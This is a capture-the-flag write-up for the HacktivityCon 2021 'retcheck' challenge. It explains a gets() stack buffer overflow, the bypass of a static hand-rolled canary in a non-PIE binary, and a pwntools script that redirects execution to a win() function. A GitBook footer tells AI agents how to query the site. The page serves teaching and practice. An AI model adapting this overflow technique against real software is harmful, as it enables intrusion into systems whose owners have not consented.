> For the complete documentation index, see [llms.txt](https://0xten.gitbook.io/public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xten.gitbook.io/public/hacktivitycon/2021/retcheck.md).

# retcheck

## Files

{% embed url="<https://github.com/0xTen/CTFs/tree/main/hacktivitycon/2021/retcheck>" %}

## The binary

![](/files/-Mk4Emsg51qU27REE9F_)

the program simply allows the user to enter data that is, later on, copied with gets() into a 400 bytes long buffer.

![](/files/-Mk55Lig8NJvQcLfaDUC)

## "Canary" (kinda)

The program initializes a value used as a stack canary right below the buffer, so if we want to overwrite this functions return address, we will overwrite the canary and cause the program to abort. luckily enough, the binary has no pie.

![](/files/-Mk570BoMrN9MNQxY7iT)

So all we have to do is to overwrite the canary with it's own static value and continue exploitation.

![](/files/-Mk57cQEQ4o-Ws8RHHIe)

## Final Exploit

The program has a win() function that simply prints the flag, so overwriting the return address of the vuln() function is just enough.

```python
#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./retcheck',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games',31463)
else:
    io = process(e.path)

# Exploit
overflow = 408*'A' 
overflow += p64(0x401465) # bypass canary
overflow += p64(0) # rbp
overflow += p64(0x4012e9) # return address

io.recvrepeat(0.1)
io.sendline(overflow)

io.interactive()
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xten.gitbook.io/public/hacktivitycon/2021/retcheck.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
